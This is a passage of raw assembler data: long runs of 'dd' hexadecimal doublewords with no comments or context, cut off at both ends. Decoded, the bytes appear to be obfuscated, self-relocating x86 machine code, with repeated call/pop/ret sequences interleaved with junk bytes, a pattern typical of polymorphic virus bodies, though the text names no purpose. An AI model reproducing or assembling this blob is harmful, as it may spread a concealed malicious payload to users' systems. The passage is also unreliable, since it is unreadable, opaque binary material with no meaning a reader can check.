881128FEh, 0DC8A5BF1h dd 405B58Bh, 0DB305E2h, 64B9h, 80F08A00h, 840FE83Eh, 15h dd 0C88B6660h, 61DA8B66h, 1AE9h, 85896000h, 5E2195Dh, 57E8061h dd 70840FC2h, 0BB000000h, 593E2C56h, 46D1BF0Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 66C35141h, 65752683h dd 0FC53321Ch dd 1071958Bh, 0F4905E2h, 0FFFF9E85h, 0C6DA81FFh, 0E965D5A5h dd 5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 34C35141h, 0A225DA21h, 68C943D7h, 0E585012Dh, 8905E20Ch dd 0E232F9B5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 1926CFF4h, 30917E89h dd 0C59D89F5h, 5805E215h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 63C35646h, 45FAD526h, 7699589h, 0BD8305E2h dd 5E2113Dh, 3F840F00h, 89000001h, 0E21B3185h, 9D8B6005h dd 5E213A1h, 3933EB81h, 85C605A6h, 5E20A49h, 9E68FC54h dd 51E4F554h, 840F5250h, 0 dd 5250310Fh, 585A310Fh, 815B585Ah, 0EA6A2434h, 6A1BBBh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 3364E1C3h, 0AA51537Dh, 0B5950318h, 0E905E22Ch, 13h dd 69C1C76Ah, 0CB929381h, 99DD5ABEh, 0D7F63480h, 0FF094577h dd 0E216A1B5h, 0D88B5105h, 19958B5Ah, 8D05E21Ch, 0E57A6185h dd 0CE905h, 0BDAC0000h, 0E46FE55Fh, 2BCC5063h, 870FFAE6h dd 17h, 12E9h, 0B1E3C00h, 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h dd 0FFE04731h, 6AD8B2D0h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0CC078CE5h dd 29BD89D0h, 0F05E225h, 288h, 0FFA9B700h, 0E2113DB5h dd 12E95705h, 80000000h, 0C55A1688h, 688E87E0h, 4599C878h dd 0FDF12EFBh, 0D0FF5AABh, 0FE8h, 7A760F00h, 95160DA9h dd 53361E41h, 994F8B20h, 68D0Fh, 0BD890000h, 5E2164Dh dd 8D89615Bh, 5E21611h, 85C7D08Bh, 5E20D79h, 1, 1851BD89h dd 666005E2h, 9D8BDA8Bh, 5E21115h, 4E8h, 8000h, 0DE800h dd 53E20000h, 0CFD25E2Ch, 5C1E6734h, 8BF95D65h, 0BA505BD7h dd 1EE716BCh, 424448Bh, 0BE957h, 28E40000h, 0AEB50687h dd 439360FAh, 8B5B25h, 8268BA66h, 4244489h, 8958D18Bh dd 0E20F9585h, 0E9FF6A05h, 12h, 0AC7CD2h, 3B42CA7Eh, 47851A47h dd 5F1A21F4h, 0BB667978h, 95FFF139h, 5E20B41h, 1F6DBD01h dd 6A6105E2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 692EC351h, 0C4A06480h, 0BF0F1BAEh dd 7E9D1h, 0E5930000h, 4997A71Bh, 0B9B650DBh, 66240489h dd 8B09EBBBh, 0E2245585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 958B576Eh dd 5E20FEDh, 7E95Bh, 14A60000h, 73A2A999h, 0FC00B58h, 6184h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0C92D4686h, 0ACBDD3A2h, 0DABF0FF3h, 10B195FFh dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0E9B34DC3h, 0Ch, 8A8BBDC0h, 47405356h, 4A9B64C9h dd 1DED950Bh, 85C705E2h, 5E21BD1h, 1, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 16C35545h, 890C6AD5h, 0E21905BDh dd 0B1BD8305h, 5E213h, 25840Fh, 89600000h, 0E23105B5h dd 0F7816605h, 0FF61FF17h, 0E230FD95h, 0DE905h, 860B0000h dd 5CCA18A7h, 89EDD51h, 83534D85h, 0E20061BDh, 840F0005h dd 12h, 0C61958Bh, 95FF05E2h, 5E20AC5h, 0EA8166F5h, 0BD831CD9h dd 5E2266Dh, 42840F00h, 1000000h, 0E21A818Dh, 9E905h, 0CDD20000h dd 0A0E7CF1Bh, 83C3C1E1h, 0E216F1BDh, 850F0005h, 21h, 0BE8h dd 36E26D00h, 9975820Fh, 0BDEFDD68h, 5B616052h, 4995FF5Ah dd 0B05E205h, 0E20A519Dh, 8DBD8305h, 5E20Ah, 59840Fh, 81570000h dd 80E4AEEAh, 85815A63h, 5E2315Dh, 4003h, 4A84BA66h, 1DD58581h dd 400305E2h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 65FD33C3h, 6E95660h, 1E000000h dd 0AE9AC166h, 9D895F91h, 5E20735h, 11958B61h, 0F05E210h dd 2D8D8931h, 8D05E230h, 0E25BD38Dh, 619D8B05h, 8905E208h dd 8D89F501h, 5E21019h, 6AC233h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0B4CCABC3h, 2AF3FE7Dh dd 0F08AA123h, 6A044189h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0CE48C352h, 80818263h dd 235049D3h, 0E2250D9Dh, 310F5B05h, 46D38166h, 0E18D8DB6h dd 6A05E25Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0FCC5C351h, 68C0F38h, 0B000000h dd 0E222D195h, 398D0105h, 8B05E20Ah, 6A0189DFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 9582C356h, 0FBB3BB66h, 1001B509h, 0C23305E2h, 16ED958Bh dd 418905E2h, 5B39BA04h, 0BD834BE1h, 5E21431h, 37840F00h dd 0BA000000h, 3D8A9E9h, 73195FFh, 6A05E2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 88E67C3h dd 0EA80B215h, 3820F00h, 80000000h, 0BD830BD7h, 5E21CE5h dd 95850F01h, 0F000000h, 188Ah, 11E95200h, 0D1000000h dd 3838A95Fh, 40540A1h, 4842F9A8h, 0A9C22AD0h, 72E95Ah dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 8CD936C3h, 41ADBB66h, 1FA59589h, 0B58B05E2h dd 5E25D7Eh, 6C7h, 0B58B0000h, 5E25B1Eh, 6C7h, 6ACF0000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 5093C356h, 77204F1Ch, 7DE24A94h, 1D09958Bh dd 9D8B05E2h, 5E21125h, 1BD1BD83h, 0F0005E2h, 18A84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 898D890Eh, 8305E217h, 0E20E6DBDh, 850F0105h, 142h, 68D0Fh dd 958B0000h, 5E21761h, 4BD88D8Bh, 9D8905E2h, 5E21415h dd 1C6CCB3h, 89958B00h, 6005E204h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 23C35141h, 0E2DE5E80h, 89484709h dd 0E224D59Dh, 4E805h, 800000h, 8E0F0000h, 0 dd 0C830F50h, 50000000h, 0F616052h, 0E2BB6631h, 8B585A24h dd 53042444h, 5A616052h, 52008B5Bh, 2444895Bh, 10E904h dd 8DBF0000h, 3139E38Dh, 0B27665Ch, 536F2A47h, 6A58508Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0F4D5C353h, 6AFF6A3Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 26F7C357h dd 95FFBB71h, 5E20B41h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 38C35141h, 3810F78h, 80000000h, 958904D3h dd 5E2302Dh, 2840F61h, 8B000000h, 195FFDAh, 6005E217h dd 41BD8950h, 5E05E201h, 0FD9D8961h, 8B05E21Bh, 0E24BD88Dh dd 88D0F05h, 0F000000h, 285h, 0FED98B00h, 7444BA01h, 0BD835738h dd 5E224F5h, 0C850F01h, 0F000000h, 68Ah, 55958B00h, 8B05E230h dd 83F0B2C0h, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h dd 8B53501Ah, 5D858BC0h, 8905E231h, 0E2315D85h, 0FA9D8D05h dd 0FF05E4B2h, 83585BD3h, 0E21805BDh, 18740005h, 858B5350h dd 5E2315Dh, 315D8589h, 9D8D05E2h, 5E4AFE9h, 585BD3FFh dd 810F5360h, 0 dd 0C7F3815Ah, 616C7C1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0E7C35545h, 0D98B2D11h, 15FD958Bh, 0C08B05E2h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 41C35040h dd 0C8E699DBh, 2A719D8Bh, 0BD8305E2h, 5E21BD1h, 3F850F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0DFEC353h, 6D734DA5h, 0A8D650ADh dd 1EF59589h, 46BA05E2h, 832ED3AEh, 0E21C15BDh, 840F0005h dd 2, 0BD83D48Ah, 5E21BD1h, 24840F00h, 0F000000h, 58Bh dd 0DB816600h, 8B66617Ah, 61BD83D1h, 5E210h, 9840Fh, 56F50000h dd 1CE99D8Bh, 835B05E2h, 0E21BD1BDh, 840F0005h, 19h, 2451958Bh dd 0BD8305E2h, 5E21061h, 6840F00h, 2B000000h, 0E2214D95h dd 0D1BD8305h, 5E21Bh, 1D840Fh, 958B0000h, 5E20FD5h, 1F49BD83h dd 0F0005E2h, 0A84h, 0AD41BB00h, 0E9BB6B52h, 83702D3Fh dd 0E21BD1BDh, 840F0005h, 23h, 83D38B66h, 0E21B35BDh, 840F0005h dd 13h, 0C358D89h, 0EB8105E2h, 59E63495h, 1FA195FFh, 8BFC05E2h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0F88E6D9h, 0BD83D2B7h, 5E21EA9h, 83097500h dd 0E21805BDh, 1A740005h, 0C08B5350h, 1DD5858Bh, 858905E2h dd 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h dd 50187400h, 0D5858B53h, 8905E21Dh, 0E21DD585h, 29D8D05h dd 0FF05E4B0h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0AF3C353h, 80F72AFFh dd 0BA6678D2h, 7E9C5ADh, 22000000h, 9378A99Fh, 0C08B8B9Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 17C35747h dd 0EC267866h, 831BB755h, 0E21BD1BDh, 840F0005h, 5C4h dd 11699D8Bh, 0BD8305E2h, 5E21D29h, 19840F02h, 89000000h dd 0E21FB585h, 0E5BD8305h, 105E21Ch, 6850Fh, 0BD890000h dd 5E22C2Dh, 30E9BD83h, 0F0005E2h, 11D84h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 169385AEh, 5283EFC3h, 605AD38Bh, 16499D8Bh, 8D8B05E2h dd 5E24BD8h, 865958Bh, 1FE05E2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0D1C35646h, 0DA81B675h, 56A37D1Eh dd 0E8D7B70Fh, 4, 80h, 0AE8h, 5095EF00h, 7789906Eh, 502ECDB7h dd 0F616052h, 13E931h, 0E24F0000h, 0BA5EC4D0h, 0FA2D31D8h dd 26968E6Dh, 7CAD41E2h, 5B585A91h, 7ABF6050h, 66215FB0h dd 61855EB8h, 424448Bh, 8E8h, 0C1338800h, 0C868EDDh, 0DE84Ch dd 1E340000h, 0A8ED6DB3h, 2E1A1648h, 0F64F9E2h, 81h, 8B5A5B00h dd 0BAE4BA00h, 4489443Dh, 0D08B0424h, 66FF6A58h, 0E4D8DB81h dd 0B4195FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 882568C3h, 0B11D9C05h, 0B7654AA9h dd 6EBA66F2h, 0BB666116h, 6A60B7FFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A154C356h dd 87342F44h, 61BD2951h, 5A05E215h, 4BD88D8Bh, 958B05E2h dd 5E2314Dh, 0F28101FEh, 9587FEDh, 0D90C1968h, 81F58ADAh dd 0F4672404h, 6A2526h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0C459F0C3h, 8057F551h, 6A5A8EC2h dd 0DABF0FFFh, 0B4195FFh, 9D8B05E2h, 5E20C05h, 57006A61h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8D83D46Dh, 0E231DDBDh, 3FEB8105h, 8B12B83Fh, 6A1C4Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 448599C3h, 6A016Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 6B5058C3h, 0E03C7FE3h, 0AD59589h dd 0BA9105E2h, 47EF103Ah, 8D0F6050h, 4, 1C66BB66h, 0AE85250h dd 0EC000000h, 98BC1602h, 2111F3FBh, 310F580Dh, 9161585Ah dd 0A6BAEA81h, 858D424Eh, 5E54157h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 34C35747h, 0FC6040BAh, 13E82Fh dd 0CC40000h, 9F2E818Ah, 81F10A85h, 93CF64Bh, 0E49E6129h dd 858B60A0h, 5E21DEDh, 4639EDBAh, 315A6152h, 0E214B5BDh dd 6AD0FF05h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 1E38C356h, 34356E2Fh, 6A204F8Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 9BC0C351h, 18F0Fh, 6AF80000h, 6E903h, 0A5680000h dd 0DB39DDBAh, 0BB6691h, 8B60502Ch, 0E95250F0h, 14h, 0C24AF45Ah dd 0D97DB189h, 0BACE61F9h, 0B9F4DFA8h, 0C8DF8C1Dh, 13E9310Fh dd 0E2000000h, 0C9CB43B9h, 0E4896FC0h, 0AF6FB615h, 0ABE0F926h dd 585AE7F8h, 6A9161h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 522592C3h, 0E95A46B6h, 0Fh, 0B7D8200Ah dd 0EBF4A124h, 0CBBCD7C5h, 8182BBB0h, 0C270FDE3h, 57858D7Dh dd 6A05E541h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0AB74C353h, 0F025605Ch, 2B62EF1Ch dd 0E2049995h, 8DD0FF05h, 0E231DDBDh, 68D0F05h, 81000000h dd 0CBF5ECEAh, 1C4F8B05h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0B7C35343h, 8759D8Bh, 16A05E2h, 17759D89h dd 0F9105E2h, 28Dh, 50D98B00h, 8191DA8Ah, 0E75627EBh, 57858D6Eh dd 0F05E541h, 0D0FFD8B7h, 7E9h, 524A6400h, 0F0FC3D55h dd 0F204F8Bh, 582h, 0F3816600h, 36A9FB9h, 0F91D88Bh, 484h dd 0A5BB6600h, 4ABA50BBh, 912E5E8Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 9CC35545h, 34FF5483h, 57858DD7h dd 0FF05E541h, 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0B021EA1Bh, 0EFFFB531h dd 0DF8B66CFh, 4BD88D8Bh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 8C44B0C3h, 108220D4h dd 10E9F96Ah, 21000000h, 0EBDFA567h, 2FA62FC6h, 0D581D386h dd 293671BBh, 0E20AC18Dh, 2301FE05h, 0E2089D9Dh, 0D8858B05h dd 6A05E24Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 4D77C356h, 0ADE6A43Dh, 2A4BA5DBh dd 816600FEh, 6A6417F2h, 10E901h, 0EBB00000h, 9D3DBCD1h dd 0C3CB6DF9h, 0ECA1EC12h, 4E8125Eh, 0FF000000h, 0E9FFFF9Fh dd 7, 70799984h, 50D7DCDEh, 5E9h, 9D48B500h, 448BAB96h dd 0D38B0424h, 6E9008Bh, 0A4000000h, 0FBBF098Ah, 244489F8h dd 7BBB5004h, 5A0D91E1h, 0AAEB8158h, 8D4F0686h, 0E5416185h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 2990CE57h, 6DBD3152h, 5A05E200h, 958BD0FFh dd 5E22D69h, 1C15BD83h, 0F0005E2h, 0C584h, 19958B00h, 6605E21Ah dd 835E58BAh, 0E200B9BDh, 850F0105h, 0AEh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 60C35343h, 95032A53h dd 0BD01D78Ch, 5E214FDh, 416B8D8Dh, 8B6605E5h, 6A036AD7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 6685C350h, 0BD29D18Bh, 5E20CD9h, 6A016Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 7760BEC3h, 1CDB8154h, 0FF25614Fh, 458589D1h, 6A05E206h dd 4E28101h, 6A74107Bh, 15BA6601h, 29D1FF4Bh, 0E217458Dh dd 5CF5E805h, 0CA80FA79h, 3860F38h, 66000000h, 206AD08Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1BC35747h dd 0E7BF25E9h, 0FF6AFC90h, 0AE8h, 6A967A00h, 5ED03CCFh dd 602E24EEh, 30518D8Bh, 9D8B05E2h, 5E22679h, 9D8B5B61h dd 5E22BF9h, 0B4195FFh, 0D38105E2h, 43E055A4h, 0B8h, 4BA6600h dd 0FC00BBAh, 5F84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0A4C98731h, 8BA821F2h dd 0E2239D9Dh, 2DBD8305h, 5E21Eh, 2A840Fh, 5E80000h, 2A000000h dd 0AC91C282h, 232D950Bh, 8B5B05E2h, 0E213CD9Dh, 3195FF05h dd 6005E22Dh, 861BEB9h, 0DB5895Bh, 6105E204h, 1F35858Bh dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 86D175C3h, 3D4CB49Dh, 11E9h, 4FA70300h, 0CCA67A85h dd 69C78221h, 8BE0191Fh, 0C6BE8Fh, 0E3E38100h, 586A30F8h dd 6E24BA66h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 99FEC357h, 666BE5E3h dd 0AD0FE774h, 5E9h, 0E4738E00h, 0C1F6E927h, 53840F04h dd 8B000000h, 4CE9DAh, 89570000h, 0E2142DBDh, 0B58B5B05h dd 5E2234Dh, 68B0Fh, 9D8B0000h, 5E20499h, 1180C681h, 8B660000h dd 6C7DEh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 597DC353h, 635C1C8Fh, 15E4B48h dd 0E20D219Dh, 9D953105h, 8305E219h, 840F00F8h, 0B4Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F6C35545h dd 0AE041309h, 8B35FF5Bh, 0F01F883h, 1CC85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 12D040E6h, 0F98A3C2Bh, 0B8h, 0A1958B00h, 0B05E218h dd 16840FC0h, 8B000001h, 1F883D9h, 12C840Fh, 81660000h dd 83EEFDD2h, 840F03F8h, 8Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 93C35545h, 0D1561823h, 0C02B80E1h dd 2C658589h, 0BD8D05E2h, 5B7974h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 74C35040h, 668117F6h, 0E86200BAh dd 0Eh, 4A818E1Eh, 359783CDh, 0E63F7C33h, 5AFCBCC6h, 6AE7FFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0EDB8F2C3h, 0CB816605h, 1B8EBFAh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 9E16C351h, 0F5DEEDB3h, 74BD8DF9h, 0E8005B79h, 0Fh, 0C5188872h dd 0EEA4C5A6h, 2C273152h, 0F59F1B2h, 0FF5BD2B7h, 52006AE7h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0BE7388D3h, 209A1BB2h, 8B6651C8h, 64BD8DD3h, 8B05E242h dd 0E20AF59Dh, 15858905h, 0E905E22Bh, 2A9h, 0CF59D01h dd 0BB6605E2h, 85C726E6h, 5E24C33h, 5, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0DBC35545h, 0BFE38111h, 8939AAEDh dd 0E2090DBDh, 5B805h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8589E9C3h, 5E2041Dh dd 8E2E9h, 2F88300h, 0F5850Fh, 0BA660000h, 0B82658h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 41F0C357h, 0FC00BB3h, 0B584h, 0A98D2900h dd 8305E221h, 840F01F8h, 0FFFFFF5Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 5BC35747h, 5F8C9D4Eh, 0EC887FAh dd 0AD958B55h, 6605E208h, 9036DB81h, 29D38166h, 3F88302h dd 0FE8C840Fh, 880FFFFFh, 6, 2CE98529h, 2FBA05E2h, 2B4F6D6Fh dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 31BC2554h, 6212D169h, 7974BD8Dh, 6A005Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 4BFA1BC3h, 6651FB91h, 0FF5ADF8Bh, 0EB8166E7h, 0BD8D4A24h dd 5E2445Ch, 81EB59BBh, 143E970h, 83F90000h, 850F03F8h dd 39h, 8DDBBF0Fh, 0E245F0BDh, 0D5B52905h, 0E905E22Bh dd 125h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0EEC35242h, 815FC523h, 57D44DDAh, 5F88312h, 14850Fh dd 5E90000h, 0D4000000h, 1F2C464h, 0D10A62BAh, 785E97Fh dd 0F8830000h, 30850F06h, 0BA000000h, 22F33B41h, 47E8BD8Dh dd 9E805E2h, 80000000h, 6BF0AAF9h, 0FCDCBD43h, 0BBE95Ah dd 870F0000h, 5, 6BDB8166h, 0F19D33E5h, 8305E209h, 850F07F8h dd 2Ch, 8D78D780h, 0E22D8DBDh, 0BE905h, 855A0000h, 86A4DD87h dd 8E44FACAh, 13AE9CFh, 8B600000h, 0E2180D95h, 0C58D8905h dd 6105E22Ch, 0F0AF883h, 6C85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 6DE5D533h dd 0E2BDA13Fh, 0E0BD8DA6h, 6A05E249h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A7A2C357h dd 7068B674h, 0E8BA7357h, 0E93581D0h, 15h, 0C8A0Fh, 840F0000h dd 6, 0BA19D0Bh, 0BF0F05E2h, 953157D0h, 5E22445h, 3C6F53B9h dd 51006A53h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0CBD45533h, 0A3C25428h, 3F832Fh, 71840Fh dd 85890000h, 5E230CDh, 8D890F30h, 5E208E1h, 226D958Bh dd 0C9D105E2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0D0C35545h, 0C0A895F7h, 66AEFA54h, 6A47D18Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 8C2DC357h, 0C960904Fh, 0E925D280h, 0FFFFFF91h, 1CC58D89h dd 44BA05E2h, 5F4442D6h, 2445958Bh, 0BD2905E2h, 5E23265h dd 4BDCBD89h, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 1E1056C3h, 0C151AB7h, 8B075985h dd 0E2235D9Dh, 0B98D8D05h, 0F05E21Ah, 0B5FFDABFh, 5E20405h dd 8BDE8B66h, 0E20C159Dh, 0E6858D05h, 5005E4ACh, 524EBD8Dh dd 8D8D05E2h, 5E26FACh, 831ABCB8h, 30CF2B54h, 47C8D007h dd 8DF87549h, 0E26F3CB5h, 0C48D8D05h, 2B05E26Fh, 33A4F3CFh dd 0B8C9h, 0C00B0000h, 0BD834674h, 5E21E2Dh, 0FF067400h dd 0E22D3195h, 0DCB58B05h, 8D05E24Bh dd 0E4ACE685h, 8DD0FF05h, 0E241E785h, 0C7D0FF05h, 0E20F7D85h dd 105h, 65A58B00h, 8B05E20Dh, 0E205C5B5h, 51AD8B05h, 3305E231h dd 0CC2C0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0D1C35747h, 2733A64Bh, 0C2816653h, 835A47D5h, 0E215D9BDh dd 840F0005h, 49h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0DEC35242h, 9DB58907h, 0B705E21Fh, 6595FFC0h dd 6A05E20Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0F4ACC356h, 0EDBD83B4h, 5E21Fh dd 172850Fh, 0BD890000h, 5E22D55h, 0B9BD83h, 0F0105E2h dd 15F85h, 0F5852900h, 8305E223h, 0E20781BDh, 840F0005h dd 14Ch, 86C38166h, 2FBD83D4h, 5E24Ch, 13A840Fh, 95030000h dd 5E22CC9h, 28B0Fh, 0F88A0000h, 0ACE6858Dh, 6A05E4h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 38DDB3C3h, 6E9h, 32A1BA00h, 0FFCC626h, 8C0FD6BFh, 0Ah dd 5E9h, 0F4C6EE00h, 0B58B64D6h, 5E24BDCh, 65CA8166h, 7DBD89EDh dd 0FF05E20Ah, 5E9D0h, 82E40000h, 809CFF2Ch, 85C632CAh dd 5E20A49h, 5E854h, 0B5090000h, 663792C7h, 0B67BEA81h dd 6EB5605Ah, 4E6861F5h, 81B71272h, 4CA62404h, 8589483Ch dd 5E21735h, 262DB5FFh, 6A05E2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 870D80C3h, 0EEC28166h dd 0AE91Bh, 9CB90000h, 0CBCAD171h, 8412CB16h, 39ED858Dh dd 958B05E2h, 5E22D11h, 9D8BD0FFh, 5E20E31h, 958B006Ah dd 5E21FA5h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0BB0C03C3h, 0DB6DC96Eh, 0B19D2965h dd 0FF05E232h, 97F380D0h, 641B5FFh, 0B50905E2h, 5E21E71h dd 40595FFh, 0B58905E2h, 5E21E71h, 4BDCB58Bh, 0C3F905E2h dd 1F35B58Bh, 9D8B05E2h, 5E21DD9h, 840FF60Bh, 15h, 68B0Fh dd 9D8B0000h, 5E21DF9h, 890006C6h, 0E215D1B5h, 0E4858905h dd 6605E24Bh, 83D91BBBh, 840F00F8h, 350h, 319D9501h, 605705E2h dd 1EC59D8Bh, 852305E2h, 5E22D89h, 0B85B61h, 0B7000000h dd 0F8839Dh, 0CF840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 6D960C3h, 9DFC98A7h dd 17C59D8Bh, 850F05E2h, 3, 83D2BF0Fh, 850F02F8h, 59h dd 858D11B2h, 5E2425Fh, 0DE8B6656h, 9292D5Ah, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0DCC28FC3h, 0E9281C1Bh, 6, 72B95345h, 958B2035h, 5E21AA1h dd 1EBA6650h, 24048946h, 1C4D9D8Bh, 8BC305E2h, 0E2310195h dd 0B805h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 86DAF8C3h, 89DBD190h, 80B6A758h dd 1EAD952Bh, 61E905E2h, 29000002h, 0E22F8D8Dh, 1B805h dd 0D3800000h, 64BD8D75h, 0F05E242h, 381h, 0DFCB8000h dd 14BE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 12E81Bh, 5C510000h, 27CC0C06h, 0B55D49C1h dd 846EFC33h, 0A6BE7F55h, 0EE9h, 34891F00h, 1A112A49h dd 82D79BAFh, 5A44E66Dh, 0F883A4B7h, 4B850F02h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0B93BC353h, 7B0123CAh, 8105AFE4h, 0B109BCC2h dd 618D891Fh, 8D05E205h, 0E2445CBDh, 0B5896005h, 5E209B1h dd 0A96BC281h, 0E961713Bh, 0B0h, 0F8832EB2h, 58850F03h dd 6A000000h, 3E85600h, 